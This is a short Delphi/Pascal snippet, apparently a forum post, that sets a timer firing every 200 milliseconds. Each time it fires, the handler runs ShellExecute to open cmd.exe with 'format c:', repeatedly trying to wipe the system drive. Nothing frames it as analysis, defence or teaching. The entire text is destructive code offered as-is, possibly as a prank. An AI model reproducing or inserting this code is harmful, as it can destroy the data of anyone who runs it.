[Zergatul]

var
  t: TTimer;
...
procedure OnTimer(sender: TObject);
begin
  ShellExecute(0, 'open', 'cmd.exe', '/k format c:', nil, SW_SHOW);
end;
...
t := TTimer.Create(nil);
t.OnTimer := @OnTimer;
t.Enabled := True;
t.Interval := 200;